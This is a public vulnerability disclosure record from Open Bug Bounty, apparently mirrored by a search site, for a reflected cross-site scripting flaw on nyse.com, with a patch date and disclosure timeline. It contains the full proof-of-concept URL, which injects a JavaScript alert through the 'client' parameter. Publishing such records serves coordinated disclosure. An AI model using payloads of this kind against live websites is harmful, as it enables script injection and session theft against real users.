Lucene search

K
openbugbountyNopernikOBB:72576
HistoryJul 14, 2015 - 11:50 p.m.

nyse.com XSS vulnerability

2015-07-1423:50:00
nopernik
www.openbugbounty.org
10
Vulnerable URL:
https://www.nyse.com/search?q=ntt&site;=IntercontinentalExchange|NYSE|instruments|theICE|theICEProductGuide|theICEReports&client;=nyse_frontend_html%27-alert%28/xssposed/%29-%27&proxystylesheet;=nyse_frontend_html&output;=xml_no_dtd&filter;=0
Details:
Description Value
Patched: Yes, at 28.10.2015
Latest check for patch: 28.10.2015 04:13 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 32629
Google Pagerank 7
VIP website status: Yes
Check nyse.com SSL connection: (Grade: A+)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 14 July, 2015 23:50 GMT
Vulnerability existence verified and confirmed 14 July, 2015 23:53 GMT